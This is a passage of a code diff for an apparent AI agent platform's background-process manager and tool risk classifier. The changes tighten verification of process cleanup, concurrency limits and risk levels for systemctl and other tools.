data=snapshot[cursor:cursor+limit] except FileNotFoundError: pass - if exit_record is not None and not exit_record.get("empty",False): - emit(ok=False,unknown=True,error="remote process group emptiness was not verified",output=base64.b64encode(data).decode(),cursor=cursor+len(data),size=total,ready=ready) - raise SystemExit(4) - emit(ok=True,status="exited" if exit_record is not None else "running",exit=exit_record,output=base64.b64encode(data).decode(),start=cursor,cursor=cursor+len(data),size=total,emitted=emitted,tail_withheld=tail_withheld,capture_error=capture_error,identity=identity(),ready=ready) + cleanup_unknown=exit_record is not None and not cleanup_proven(exit_record) + emit(ok=True,status="unknown" if cleanup_unknown else "exited" if exit_record is not None else "running",unknown=cleanup_unknown,cleanup_error="remote process group cleanup could not be verified" if cleanup_unknown else None,exit=exit_record,output=base64.b64encode(data).decode(),start=cursor,cursor=cursor+len(data),size=total,emitted=emitted,tail_withheld=tail_withheld,capture_error=capture_error,identity=identity(),ready=ready) elif op=="expire": record=load("exit.json") if record is None or time.time() None: "output_revoked", "output_masked", "origin_channel", "scope_id", "host_binding", "reserved_bytes", + "session_confirmed_empty", + "containment", )} if info.output_tail_masked: record["masked_tail"] = base64.b64encode(info.output_tail).decode("ascii") @@ -1601,6 +1632,33 @@ def _resolve_workspace(self) -> str | None: # ------------------------------------------------------------------ async def start(self, host: str, command: str, timeout: int = 300, *, owner_id: str | None = None, host_alias: str = "", host_identity: str = "", origin_channel: str = "", scope_id: str = "", host_binding: dict | None = None, host_lease: HostLease | None = None) -> str: + running = self._active_count() + self._pending_starts + if running >= MAX_CONCURRENT: + return self._refuse_start( + host_lease, f"Cannot start: {running} processes already running (max {MAX_CONCURRENT}).", + ) + self._pending_starts += 1 + try: + return await self._start_local_reserved( + host, command, timeout, owner_id=owner_id, host_alias=host_alias, + host_identity=host_identity, origin_channel=origin_channel, + scope_id=scope_id, host_binding=host_binding, host_lease=host_lease, + ) + finally: + self._pending_starts -= 1 + + def _active_count(self) -> int: + return sum( + 1 for info in self._processes.values() + if not info.restored and ( + info.status == "running" or + (not info.session_confirmed_empty and ( + info.process is not None or info.remote_lease is not None + )) + ) + ) + + async def _start_local_reserved(self, host: str, command: str, timeout: int = 300, *, owner_id: str | None = None, host_alias: str = "", host_identity: str = "", origin_channel: str = "", scope_id: str = "", host_binding: dict | None = None, host_lease: HostLease | None = None) -> str: """Start a background process locally. Returns confirmation with PID. ``host_lease`` is the generation-bound admission evidence the handler @@ -1620,14 +1678,6 @@ async def start(self, host: str, command: str, timeout: int = 300, *, owner_id: return self._refuse_start(host_lease, "Error: host force-revoked; process not started.") revoke_epoch = self._local_revoke_epochs.get(alias, 0) - # Enforce concurrency limit (only count running) - running = sum(1 for p in self._processes.values() if p.status == "running") - if running >= MAX_CONCURRENT: - return self._refuse_start( - host_lease, - f"Cannot start: {running} processes already running (max {MAX_CONCURRENT}).", - ) - try: # start_new_session puts the shell at the head of its own process # group, so kill()/shutdown() can take out descendants @@ -1682,7 +1732,6 @@ async def start(self, host: str, command: str, timeout: int = 300, *, owner_id: ) self._processes[pid] = info self._retained_generations[info.generation] = info - self._persist_output(info) self._own_children.add(pid) # Drainage and terminal-state publication are SEPARATE tasks: @@ -1691,6 +1740,12 @@ async def start(self, host: str, command: str, timeout: int = 300, *, owner_id: try: info._reader_task = asyncio.create_task(self._read_output(info)) info._exit_task = asyncio.create_task(self._watch_exit(info)) + from ..async_utils import fire_and_forget + + info._lifetime_task = fire_and_forget( + self._enforce_lifetime(info, MAX_LIFETIME_SECONDS), name=f"process_lifetime:{pid}" + ) + self._persist_output(info) except BaseException: # The job is already spawned and recorded, so it now OWNS the # lease. Tear the process down instead of leaving an untracked @@ -1699,13 +1754,6 @@ async def start(self, host: str, command: str, timeout: int = 300, *, owner_id: await self._terminate_bound_host_job(info) raise - # Auto-kill after max lifetime - from ..async_utils import fire_and_forget - - fire_and_forget( - self._enforce_lifetime(pid, MAX_LIFETIME_SECONDS), name=f"process_lifetime:{pid}" - ) - if (revoke_epoch != self._local_revoke_epochs.get(alias, 0) or alias in self._revoking_aliases or (host_lease is not None and host_lease.revoked)): @@ -1717,7 +1765,6 @@ async def start(self, host: str, command: str, timeout: int = 300, *, owner_id: info.status = "unknown" info.finished_at = info.finished_at or time.time() info.capture_error = info.capture_error or "process cleanup could not be confirmed" - self._retire_execution_lease(info) self._persist_output(info) return ("Error: host force-revoked; process terminated." if gone else "Error: host force-revoked; process outcome unknown outcome_unknown=true.") @@ -1733,11 +1780,16 @@ async def start_remote(self, lease, command: str, *, owner_id: str | None = None lease.release() return "Error: host force-revoked; process not started." revoke_epoch = self._local_revoke_epochs.get(alias, 0) + running = self._active_count() + self._pending_starts + if running >= MAX_CONCURRENT: + lease.release() + return f"Cannot start: {running} processes already running (max {MAX_CONCURRENT})." # Reserve before dispatch, including starts still awaiting settlement. if self._spool_quota_remaining() < OUTPUT_CAPTURE_BYTES: lease.release() return "Cannot start: process retention quota exhausted." self._pending_remote_reservations += OUTPUT_CAPTURE_BYTES + self._pending_starts += 1 try: return await self._start_remote_reserved( lease, command, owner_id=owner_id, host_alias=host_alias, @@ -1747,13 +1799,10 @@ async def start_remote(self, lease, command: str, *, owner_id: str | None = None ) finally: self._pending_remote_reservations -= OUTPUT_CAPTURE_BYTES + self._pending_starts -= 1 async def _start_remote_reserved(self, lease, command: str, *, owner_id: str | None = None, host_alias: str = "", host_identity: str = "", origin_channel: str = "", scope_id: str = "", host_binding: dict | None = None, revoke_alias: str = "", revoke_epoch: int = 0) -> str: """Start a detached SSH process with remote file/FIFO-backed I/O.""" - running = sum(1 for p in self._processes.values() if p.status == "running") - if running >= MAX_CONCURRENT: - lease.release() - return f"Cannot start: {running} processes already running (max {MAX_CONCURRENT})." if self._remote_exec is None: lease.release() return "Failed to start process: remote execution is unavailable" @@ -1859,13 +1908,17 @@ async def _start_remote_reserved(self, lease, command: str, *, owner_id: str | N ) info = self._processes[handle] self._retained_generations[info.generation] = info - self._persist_output(info) from ..async_utils import fire_and_forget - fire_and_forget( - self._enforce_lifetime(handle, MAX_LIFETIME_SECONDS), - name=f"remote_process_lifetime:{handle}", - ) + try: + info._lifetime_task = fire_and_forget( + self._enforce_lifetime(info, MAX_LIFETIME_SECONDS), + name=f"remote_process_lifetime:{handle}", + ) + self._persist_output(info) + except BaseException: + await self._kill_remote(info) + raise return f"Process started (PID {handle}): {safe_text(command)}" async def poll( @@ -2014,7 +2067,7 @@ def _expire_output(self, info: ProcessInfo) -> None: if info.output_lease is not None: info.output_lease.release() info.output_lease = None - if info.host_lease is not None and info.status != "running": + if info.host_lease is not None and info.session_confirmed_empty: # Expiry only revokes EVIDENCE; it must never drop the generation # lease of a job that is STILL RUNNING (H2). That lease is exactly # what keeps the alias's reference count non-zero, which is how @@ -2067,6 +2120,10 @@ def render(chunk: bytes, shown_start: int) -> str: "action": "poll", "pid": info.pid, "cursor": next_cursor, "limit": limit, }} if more else None, } + if info.remote and info.containment: + meta["containment"] = info.containment + if info.containment == "process_group_only": + meta["cleanup_caveat"] = "escaped descendants are unverified" text = chunk.decode("utf-8", "replace") if tail_withheld: meta["tail_status"] = "unavailable" @@ -2075,6 +2132,8 @@ def render(chunk: bytes, shown_start: int) -> str: status = f"[PID {info.pid}] status={info.status}" if info.exit_code is not None: status += f" exit_code={info.exit_code}" + if info.transport_unknown: + status += " outcome_unknown=true" status += f" uptime={time.time() - info.start_time:.0f}s output_bytes={info.total_output_bytes}" return status + "\n" + (text or "(no output yet)") + "\n[output retention] " + json.dumps(meta, ensure_ascii=False, separators=(",", ":")) meta["text"] = text @@ -2133,8 +2192,8 @@ async def kill(self, pid: int, *, authorized: Callable[[ProcessInfo], bool] | No info = self._processes.get(pid) if not info: return f"No process with PID {pid}." - if info.status != "running": - return f"Process {pid} already {info.status}." + if info.status != "running" and info.session_confirmed_empty: + return f"Process {pid} already {info.status}." + self._remote_cleanup_caveat(info) if authorized is not None and not authorized(info): return "Error: process access denied." if info.restored: @@ -2146,22 +2205,14 @@ async def kill(self, pid: int, *, authorized: Callable[[ProcessInfo], bool] | No return await self._kill_remote(info) try: - if info.process: - from ..tools.ssh import terminate_process_tree - - # Group-aware TERM → bounded grace → KILL → reap. Descendants - # of the managed shell die with it instead of leaking (they - # would otherwise outlive an in-place restart's exec). - # No owned_pgid (round-5 blocker #2): kill() runs only - # while status is running, so terminate_process_tree - # discovers and VERIFIES the group against the live leader - # rather than trusting a stale-capable number; the exit - # watcher's race-free pidfd sweep finishes any survivors. - await terminate_process_tree(info.process, grace=5.0) - info.status = "killed" - info.exit_code = info.process.returncode if info.process else info.exit_code - log.info("Killed process PID %d", pid) - return f"Process {pid} killed." + # Use the same whole-execution settlement as force revoke and + # generation termination. The exit watcher may still be pending; + # leader termination alone neither proves cleanup nor retires it. + if await self._terminate_bound_host_job(info): + return f"Process {pid} killed." + info.status = "unknown" + info.transport_unknown = True + return f"Failed to kill PID {pid}: cleanup unverified outcome_unknown=true." except Exception as e: return f"Failed to kill PID {pid}: {e}" @@ -2234,12 +2285,11 @@ async def _teardown_unsettled_remote(self, lease, root: str, token: str) -> bool "set -eu; " f"d={quoted_root}; test -f \"$d/ready.json\"; " f"python3 -c {shlex.quote(execute_controller)} " - f"{quoted_root} {shlex.quote(token)} kill '' 0; " - "rm -rf -- \"$d\"" + f"{quoted_root} {shlex.quote(token)} kill '' 0" ) try: - code, _output = await self._remote_exec(lease.target, command, 15) - return code == 0 + code, output = await self._remote_exec(lease.target, command, 15) + return code == 0 and self._remote_cleanup_proven(self._parse_remote_reply(output)) except Exception: log.warning( "Could not verify cleanup of unsettled remote process on %s", @@ -2274,6 +2324,7 @@ async def _poll_remote( lambda: remote_exec(lease.target, command, int(deadline) + 15) ) except Exception as exc: + info.transport_unknown = True return ( f"[PID {info.pid}] status=unknown outcome_unknown=true\n" f"SSH transport failed: {safe_error(exc)}" @@ -2293,8 +2344,25 @@ async def _poll_remote( info.total_output_bytes = int(reply.get("emitted", info.retained_bytes)) if reply.get("capture_error"): info.capture_error = "process output capture incomplete" + if reply.get("status") == "unknown" or reply.get("unknown"): + info.transport_unknown = True + info.status = "unknown" + exit_record = reply.get("exit") or {} + info.exit_code = exit_record.get("exit_code") + if info.finished_at is None and exit_record.get("finished_at") is not None: + # The supervisor's leader-exit timestamp starts EVIDENCE + # retention, not execution retirement. Unverified cleanup + # must retain its authority even after that evidence expires. + info.finished_at = float(exit_record["finished_at"]) + self._schedule_output_expiry(info) if reply.get("status") == "exited": exit_record = reply.get("exit") or {} + if not self._remote_cleanup_proven({"ok": True, **exit_record}): + info.transport_unknown = True + return f"[PID {info.pid}] status=unknown outcome_unknown=true\nremote process group cleanup unverified" + info.session_confirmed_empty = True + info.containment = exit_record["containment"] + info.transport_unknown = False info.exit_code = int(exit_record.get("exit_code", 1)) if info.status != "killed": info.status = "completed" if info.exit_code == 0 else "failed" @@ -2316,6 +2384,15 @@ async def _poll_remote( tail_withheld=bool(reply.get("tail_withheld", False))) def _retire_execution_lease(self, info: ProcessInfo) -> None: + task = info._lifetime_task + if task is not None: + try: + current = asyncio.current_task() + except RuntimeError: + current = None + if task is not current: + task.cancel() + info._lifetime_task = None if info.remote_lease is not None: info.remote_lease.release() info.remote_lease = None @@ -2339,42 +2416,75 @@ async def _write_remote(self, info: ProcessInfo, text: str) -> str: f"outcome unknown outcome_unknown=true: {safe_error(exc)}" ) reply = self._parse_remote_reply(output) - if code != 0 or reply is None or not reply.get("ok"): + if (code != 0 or reply is None or reply.get("ok") is not True + or reply.get("written") != len(text.encode("utf-8"))): info.transport_unknown = True detail = safe_error(reply.get("error", "") if reply else output) + accepted = reply.get("written") if reply else None return ( - f"Failed to write to PID {info.pid}: outcome unknown " + f"Failed to write to PID {info.pid}: accepted_bytes={accepted}; outcome unknown " f"outcome_unknown=true: {detail}" ) - return f"Wrote {len(text)} bytes to PID {info.pid}." + return f"Wrote {reply['written']} bytes to PID {info.pid}." async def _kill_remote(self, info: ProcessInfo) -> str: command = self._remote_controller_command(info, "kill") try: code, output = await self._remote_call(info, command, 15) except Exception as exc: + info.transport_unknown = True return ( f"Failed to kill PID {info.pid}: SSH transport failed; " f"outcome unknown outcome_unknown=true: {safe_error(exc)}" ) reply = self._parse_remote_reply(output) - if code != 0 or reply is None or not reply.get("ok"): + if code != 0 or not self._remote_cleanup_proven(reply): info.transport_unknown = True - detail = safe_error(reply.get("error", "") if reply else output) + detail = safe_error( + reply.get("error") or "remote process group cleanup unverified" + if reply else output + ) return ( f"Failed to kill PID {info.pid}: outcome unknown " f"outcome_unknown=true: {detail}" ) + assert reply is not None + info.containment = reply["containment"] + info.transport_unknown = False if reply.get("already_exited"): - await self._poll_remote(info, 0) - return f"Process {info.pid} already exited; poll to collect its outcome." + info.session_confirmed_empty = True + info.status = "completed" if (reply.get("exit") or {}).get("exit_code") == 0 else "failed" + info.exit_code = (reply.get("exit") or {}).get("exit_code") + info.finished_at = info.finished_at or float((reply.get("exit") or {}).get("finished_at", time.time())) + info.reserved_bytes = 0 + self._retire_execution_lease(info) + self._persist_output(info) + return f"Process {info.pid} already exited; poll to collect its outcome." + self._remote_cleanup_caveat(info) info.status = "killed" + info.session_confirmed_empty = True + info.reserved_bytes = 0 exit_record = reply.get("exit") or {} info.exit_code = exit_record.get("exit_code") info.finished_at = info.finished_at or float(exit_record.get("finished_at", time.time())) self._retire_execution_lease(info) self._persist_output(info) - return f"Process {info.pid} killed." + return f"Process {info.pid} killed." + self._remote_cleanup_caveat(info) + + @staticmethod + def _remote_cleanup_proven(reply: dict | None) -> bool: + return bool( + isinstance(reply, dict) and reply.get("ok") is True and not reply.get("unknown") + and ( + reply.get("containment") == "owned_descendants" and reply.get("empty") is True + or reply.get("containment") == "process_group_only" and reply.get("group_empty") is True + ) + ) + + @staticmethod + def _remote_cleanup_caveat(info: ProcessInfo) -> str: + if info.remote and info.containment == "process_group_only": + return " containment=process_group_only; escaped descendants are unverified." + return "" async def force_revoke_host(self, alias: str) -> dict[str, int]: """Terminate every running job bound to ``alias``, then drop its output. @@ -2395,13 +2505,13 @@ async def force_revoke_host(self, alias: str) -> dict[str, int]: infos = {info.generation: info for info in self._processes.values()} infos.update(self._retained_generations) for info in infos.values(): - running = info.status == "running" and not info.restored + running = not info.session_confirmed_empty and not info.restored if info.remote and info.host == alias: if running: summary["attempted"] += 1 try: - result = await self._kill_remote(info) - proven = result.endswith("killed.") + await self._kill_remote(info) + proven = info.session_confirmed_empty except Exception: log.exception("Force-revoke remote cleanup failed for PID %d", info.pid) proven = False @@ -2426,16 +2536,12 @@ async def _terminate_bound_host_job(self, info: ProcessInfo) -> bool: """Kill one local job and report whether termination was PROVEN. Force-revoke has already fenced the generation, so the exit watcher may - be racing this teardown. The lease is therefore dropped here (it is a - reference count, not a handle to the host) before the group teardown, - and the terminal status is only published once an affirmative + be racing this teardown. Keep the lease until whole-job cleanup settles; + the terminal status is only published once an affirmative observation exists — ``_kill_group_until_gone`` returns True solely on a verified-empty scan, so a TERM-immune descendant can never be reported as killed. """ - if info.host_lease is not None: - info.host_lease.release() - info.host_lease = None if info.process is not None: from ..tools.ssh import terminate_process_tree @@ -2452,10 +2558,12 @@ async def _terminate_bound_host_job(self, info: ProcessInfo) -> bool: gone = False if gone: info.status = "killed" + info.session_confirmed_empty = True info.exit_code = ( info.process.returncode if info.process is not None else info.exit_code ) info.finished_at = info.finished_at or time.time() + self._retire_execution_lease(info) log.info("Force-revoke killed PID %d on a revoked host", info.pid) else: log.error( @@ -2494,10 +2602,9 @@ async def terminate_generation(self, generation: str) -> bool: not PID, means a recycled handle can never be aimed at another job, and an already-exited process is a settled outcome rather than a failure. - Returns True only on an affirmative observation: the record reached a - terminal status, or an owned-group teardown verified the session is - empty. False means the outcome is genuinely unknown and the caller must - say so. + Returns True only on affirmative whole-execution cleanup evidence. + Leader exit, terminal status and process-group emptiness alone cannot + establish it. False means the outcome is genuinely unknown. """ info = self._retained_generations.get(generation) if info is None: @@ -2509,24 +2616,30 @@ async def terminate_generation(self, generation: str) -> bool: # The generation is not tracked at all: nothing of ours is running # under it, which is a settled (if already-forgotten) outcome. return True - if info.status != "running" or info.restored: + if info.session_confirmed_empty: return True + if info.restored: + return False if info.remote: - result = await self._kill_remote(info) + await self._kill_remote(info) # ``_kill_remote`` reports "already exited" when the remote # supervisor confirms the job is gone — a settled outcome, not a # failure to terminate. - return info.status == "killed" or "already exited" in result + return info.session_confirmed_empty return await self._terminate_bound_host_job(info) async def shutdown(self) -> int: """Terminate all managed processes and their groups before returning. - Remote jobs are deliberately included: restart does not re-adopt + Live remote jobs are deliberately included: restart does not re-adopt detached remote state, so leaving one behind would turn a managed job into an untracked effect. A failed remote kill remains outcome-unknown and the remote supervisor's one-hour deadline is the final backstop. + Restored local and remote records are read-only output evidence from + a previous process image, not executions owned by this one. They are + neither terminated nor required to prove settlement before re-exec. + Returns the number of processes that were still running. Callers re-exec in place once this returns, so NOTHING the registry @@ -2542,10 +2655,10 @@ async def shutdown(self) -> int: # publishes terminal state and reaps surviving group members, # which closes the pipe and unblocks the drainer. for pid, info in list(self._processes.items()): - if info.status == "running": + if not info.session_confirmed_empty and not info.restored: try: - await self.kill(pid) - killed += 1 + if await self.terminate_generation(info.generation): + killed += 1 except Exception: log.warning("Failed to kill PID %d during shutdown", pid) # 2) Let every reader/reaper finish so no group cleanup is left pending. @@ -2577,12 +2690,16 @@ async def shutdown(self) -> int: # 3) FINAL AFFIRMATIVE PROOF (round-7 #3). A completed watcher is # not proof by itself: it may have recorded a FAILED reap, and # the timeout fallback's verdict must not be discarded either. - # Every record that has not been OBSERVED session-empty is + # Every live record that has not been OBSERVED session-empty is # re-verified here; anything still unproven is escalated to the # caller, which owns the re-exec decision. unproven: list[int] = [] for pid, info in list(self._processes.items()): - if info.session_confirmed_empty or info.process is None: + if info.remote: + if not info.session_confirmed_empty and not info.restored: + unproven.append(pid) + continue + if info.session_confirmed_empty or info.restored: # A local job holding its own generation lease must still # retire it before we re-exec (H2): a lease is an in-memory # handle, and leaving one dangling would let a stale count @@ -2598,7 +2715,7 @@ async def shutdown(self) -> int: log.exception("Final cleanup verification failed for PID %d", pid) unproven.append(pid) finally: - if info.host_lease is not None: + if info.host_lease is not None and info.session_confirmed_empty: info.host_lease.release() info.host_lease = None if killed: @@ -2627,6 +2744,7 @@ def cleanup(self) -> int: pid for pid, info in self._processes.items() if info.status != "running" + and (info.session_confirmed_empty or info.restored) and info.finished_at is not None and now >= info.finished_at + OUTPUT_RETENTION_SECONDS and all( @@ -2644,7 +2762,7 @@ def cleanup(self) -> int: expired.host_lease = None self._expire_output(expired) for generation, info in list(self._retained_generations.items()): - if info.finished_at is not None and now >= info.finished_at + OUTPUT_RETENTION_SECONDS: + if (info.session_confirmed_empty or info.restored) and info.finished_at is not None and now >= info.finished_at + OUTPUT_RETENTION_SECONDS: self._expire_output(info) self._retained_generations.pop(generation) # Adopted orphans die as zombies (nothing else will wait on them); @@ -2672,7 +2790,9 @@ async def _kill_group_until_gone( """ proc = info.process if proc is None: - return True + # Losing the local handle does not prove descendants exited. + # Previously settled records carry their verdict explicitly. + return info.session_confirmed_empty from .local_supervisor import SupervisedShell if isinstance(proc, SupervisedShell): @@ -2693,11 +2813,14 @@ async def _kill_group_until_gone( adopted_sink=self._adopted_pids, teardown=False, # normal kill/revoke cannot claim adopted strangers ) - info.session_confirmed_empty = gone + # Do not publish a partial verdict before the leader reap settles. + # Cancellation, errors or a reap timeout must remain unproven. + info.session_confirmed_empty = False if proc.returncode is None: # Reap the leader (bounded) so no zombie crosses the exec. await _wait_leader_exit(proc, timeout=1.0) if gone and proc.returncode is not None: + info.session_confirmed_empty = True return True log.error( "Shutdown could not confirm PID %d's owned group is gone " @@ -2790,7 +2913,7 @@ async def _read_output(self, info: ProcessInfo) -> None: self._persist_output(info) async def _watch_exit(self, info: ProcessInfo) -> None: - """Publish terminal state at LEADER exit, then reap the group. + """Record leader exit, then publish terminal state after owned cleanup. Separated from stdout drainage (PR #244 round-1): ``process.wait()`` returns when the leader exits regardless of who still holds the @@ -2804,14 +2927,7 @@ async def _watch_exit(self, info: ProcessInfo) -> None: try: await _wait_leader_exit(info.process) info.exit_code = info.process.returncode - info.finished_at = time.time() - if info.status == "running": - info.status = "completed" if info.exit_code == 0 else "failed" self._persist_output(info) - # Settles the retained-output deadline AND retires the - # generation lease the job held (H2) — the job is over, so its - # lease must not keep the alias's generation pinned. - self._retire_execution_lease(info) except Exception: if info.status == "running": info.status = "unknown" @@ -2822,7 +2938,6 @@ async def _watch_exit(self, info: ProcessInfo) -> None: self._persist_output(info) except Exception: log.exception("Could not persist uncertain exit for PID %d", info.pid) - self._retire_execution_lease(info) # Reap while ownership is fresh: a non-empty group keeps the leader # pid from being recycled — but ONLY while a member survives, so a @@ -2834,6 +2949,7 @@ async def _watch_exit(self, info: ProcessInfo) -> None: if isinstance(info.process, SupervisedShell): info.session_confirmed_empty = await info.process.terminate_tree(grace=2.0) + self._publish_local_settlement(info) return info.session_confirmed_empty = await _terminate_session_until_empty( info.process.pid, @@ -2849,19 +2965,34 @@ async def _watch_exit(self, info: ProcessInfo) -> None: except Exception: info.session_confirmed_empty = False log.debug("session reap after PID %d exit failed", info.pid, exc_info=True) + self._publish_local_settlement(info) + + def _publish_local_settlement(self, info: ProcessInfo) -> None: if not info.session_confirmed_empty: + info.status = "unknown" log.error( "Could not confirm PID %d's owned session is empty after " "leader exit — shutdown will re-verify", info.pid, ) + else: + if info.status in {"running", "unknown"} and info.exit_code is not None: + info.status = "completed" if info.exit_code == 0 else "failed" + info.finished_at = info.finished_at or time.time() + self._retire_execution_lease(info) + try: + self._persist_output(info) + except Exception: + log.exception("Could not persist cleanup outcome for PID %d", info.pid) - async def _enforce_lifetime(self, pid: int, max_seconds: int) -> None: + async def _enforce_lifetime(self, info: ProcessInfo, max_seconds: int) -> None: """Auto-kill process after max lifetime.""" await asyncio.sleep(max_seconds) - info = self._processes.get(pid) - if info and info.status == "running": + if self._processes.get(info.pid) is not info: + return + pid = info.pid + if info.status == "running": log.warning("Auto-killing PID %d after %ds lifetime limit", pid, max_seconds) await self.kill(pid) - elif info and info.status == "unknown" and not info.remote and info.process is not None: + elif not info.session_confirmed_empty: log.warning("Retrying unverified cleanup for PID %d after %ds lifetime limit", pid, max_seconds) - await self._terminate_bound_host_job(info) + await self.terminate_generation(info.generation) diff --git a/src/tools/result_validator.py b/src/tools/result_validator.py index f2150d8fb..4bc6725a8 100644 --- a/src/tools/result_validator.py +++ b/src/tools/result_validator.py @@ -16,6 +16,7 @@ import logging from dataclasses import dataclass, field +from .execution_outcome import is_tool_failure from .media_result import BinaryAttachment log = logging.getLogger("odin.tools.result_validator") @@ -165,7 +166,7 @@ def as_dict(self) -> dict[str, int]: def _is_error_result(text: str) -> bool: """True when *text* looks like an executor error string.""" - return any(text.startswith(p) for p in _ERROR_PREFIXES) + return is_tool_failure(text) or any(text.startswith(p) for p in _ERROR_PREFIXES) def _truncate_smart(text: str, max_chars: int) -> str: diff --git a/src/tools/risk_classifier.py b/src/tools/risk_classifier.py index ec2ce1cfc..957484b50 100644 --- a/src/tools/risk_classifier.py +++ b/src/tools/risk_classifier.py @@ -452,13 +452,94 @@ def _contains_literal_git_push(command: str) -> bool: "email_read": RiskLevel.LOW, "email_list_recent": RiskLevel.LOW, "generate_image": RiskLevel.MEDIUM, - "ingest_knowledge": RiskLevel.MEDIUM, + "ingest_document": RiskLevel.MEDIUM, + "bulk_ingest_knowledge": RiskLevel.MEDIUM, + "delete_knowledge": RiskLevel.HIGH, + "schedule_task": RiskLevel.HIGH, + "update_schedule": RiskLevel.HIGH, + "delete_schedule": RiskLevel.HIGH, + "create_skill": RiskLevel.HIGH, + "edit_skill": RiskLevel.HIGH, + "delete_skill": RiskLevel.HIGH, + "enable_skill": RiskLevel.MEDIUM, + "disable_skill": RiskLevel.MEDIUM, + "invoke_skill": RiskLevel.HIGH, + "delegate_task": RiskLevel.HIGH, + "start_loop": RiskLevel.HIGH, + "stop_loop": RiskLevel.MEDIUM, + "cancel_task": RiskLevel.MEDIUM, + "kill_agent": RiskLevel.MEDIUM, + "add_reaction": RiskLevel.MEDIUM, + "post_file": RiskLevel.MEDIUM, + "generate_file": RiskLevel.MEDIUM, # High — arbitrary code execution "run_script": RiskLevel.HIGH, "run_command_multi": RiskLevel.HIGH, } +def _systemctl_action(command: str) -> str | None: + """Read standard global options before a lifecycle verb, without a shell. + + Bound the scan; do not interpret expansion, substitutions or arbitrary + options as shell syntax. Existing pattern checks remain as a fallback. + """ + import shlex + + flags = {"--user", "--system", "--global", "--no-block", "--quiet", + "--no-pager", "--no-legend", "--no-ask-password", "--force", + "--full", "--all", "--runtime", "--wait", "--no-wall", + "--recursive", "--plain", "--show-types", "--value", + "--marked", "--dry-run", "--now", "--no-reload", "--no-warn", + "--failed", "--reverse", "--with-dependencies", "--show-transaction", + "--read-only", "--mkdir", "--firmware-setup"} + values = {"--host", "--machine", "--root", "--image", "--job-mode", + "--type", "--state", "--property", "--signal", "--kill-whom", + "--preset-mode", "--output", "--lines", "--timestamp", "--legend", + "--check-inhibitors", "--image-policy", "--boot-loader-menu", + "--boot-loader-entry", "--what", "--kill-value", "--drop-in", "--when"} + actions = {"stop", "disable", "restart", "mask", "start", "enable", "reload"} + try: + lexer = shlex.shlex(command, posix=True, punctuation_chars=";&|()") + lexer.whitespace_split = True + lexer.commenters = "" + tokens = list(lexer) + except ValueError: + return None + found = None + for pos, token in enumerate(tokens): + if token.rsplit("/", 1)[-1] != "systemctl": + continue + cursor = pos + 1 + for _ in range(64): + if cursor >= len(tokens): + break + option = tokens[cursor] + if option == "--": + cursor += 1 + if cursor < len(tokens): + option = tokens[cursor] + else: + break + if option in actions: + if option in {"stop", "disable", "restart", "mask"}: + return "service lifecycle change" + found = "service start/enable" + break + if option in flags or (option.startswith("-") and not option.startswith("--") + and len(option) > 1 and set(option[1:]) <= set("qalfrTi")): + cursor += 1 + elif option in values or option in {"-H", "-M", "-t", "-p", "-P", "-o", "-n", "-s"}: + cursor += 2 + elif (option.partition("=")[0] in values and "=" in option + or option[:2] in {"-H", "-M", "-t", "-p", "-P", "-o", "-n", "-s"} + and len(option) > 2): + cursor += 1 + else: + break + return found + + def classify_command(command: str) -> RiskAssessment: """Classify a shell command string by risk level. @@ -479,6 +560,10 @@ def classify_command(command: str) -> RiskAssessment: f"unconditional git force push ({force_form})", ) + systemctl_action = _systemctl_action(command) + if systemctl_action == "service lifecycle change": + return RiskAssessment(RiskLevel.HIGH, systemctl_action) + for pattern, reason in _HIGH_PATTERNS: if pattern.search(command): return RiskAssessment(RiskLevel.HIGH, reason) @@ -486,6 +571,9 @@ def classify_command(command: str) -> RiskAssessment: if _contains_literal_git_push(command): return RiskAssessment(RiskLevel.MEDIUM, "git push") + if systemctl_action: + return RiskAssessment(RiskLevel.MEDIUM, systemctl_action) + for pattern, reason in _MEDIUM_PATTERNS: if pattern.search(command): return RiskAssessment(RiskLevel.MEDIUM, reason) @@ -501,6 +589,36 @@ def classify_tool(tool_name: str, tool_input: dict | None = None) -> RiskAssessm """ tool_input = tool_input or {} + if tool_name in {"memory_manage", "manage_list"}: + action = tool_input.get("action", "") + observations = {"get", "list", "recall", "read", "show", "search"} + level = RiskLevel.LOW if action in observations else RiskLevel.MEDIUM + return RiskAssessment(level, f"{tool_name}: {action or 'unspecified action'}") + + if tool_name == "http_probe": + method = str(tool_input.get("method") or "GET").upper() + level = RiskLevel.LOW if method in {"GET", "HEAD", "OPTIONS"} else RiskLevel.HIGH + return RiskAssessment(level, f"HTTP {method} probe") + + if tool_name == "manage_process": + action = tool_input.get("action", "") + level = RiskLevel.LOW if action in {"poll", "list"} else RiskLevel.HIGH + return RiskAssessment(level, f"process {action or 'unspecified action'}") + + if tool_name == "validate_action": + assessments = [ + classify_command(str(check.get("target") or "")) + for check in (tool_input.get("checks") or []) + if isinstance(check, dict) and check.get("type") == "command" + ] + if assessments: + highest = max(assessments, key=lambda item: _LEVEL_ORDER[item.level]) + return RiskAssessment( + max(RiskLevel.HIGH, highest.level, key=lambda level: _LEVEL_ORDER[level]), + f"validation command: {highest.reason}", + ) + return RiskAssessment(RiskLevel.LOW, "fixed-shape validation probes") + if tool_name == "run_command": cmd = tool_input.get("command", "") assessment = classify_command(cmd) diff --git a/src/tools/runtime_delivery.py b/src/tools/runtime_delivery.py index 5b320a8e8..7247ee241 100644 --- a/src/tools/runtime_delivery.py +++ b/src/tools/runtime_delivery.py @@ -1,12 +1,19 @@ """Delivery boundary shared by native, agent and deferred dispatchers.""" +import hashlib import json import sqlite3 from contextlib import contextmanager from dataclasses import replace from .media_result import image_result_parts -from .output_delivery import DeliveredOutput, deliver, delivery_scope, get_delivery_budget +from .output_delivery import ( + DeliveredOutput, + deliver, + delivery_scope, + evidence_digest, + get_delivery_budget, +) from .output_retention import RetentionError from .result_capture import result_capture from .result_validator import ToolResult @@ -46,6 +53,13 @@ def deliver_runtime_output(executor, text, *, tool_name, tool_input, user_id, def deliver_runtime_result(executor, result, **kwargs): + from .execution_outcome import ToolFailure, is_tool_failure + + if not isinstance(result, ToolResult) and is_tool_failure(result): + result = ToolResult( + output=result, ok=False, error="tool reported failure", + uncertain_outcome=isinstance(result, ToolFailure) and result.uncertain_outcome, + ) if isinstance(result, ToolResult): from ..discord.tool_loop_helpers import ensure_failure_visible @@ -53,6 +67,21 @@ def deliver_runtime_result(executor, result, **kwargs): else "succeeded" if result.ok else "failed") text = result.output if result.attachments: + # Binary retention assigns fresh manifest/blob IDs. Compare the + # complete original evidence, including every byte, not references. + # Reuse trusted full text identity, not RankedOutput's summary or + # DeliveredOutput's fresh cursor-bearing presentation. + evidence = 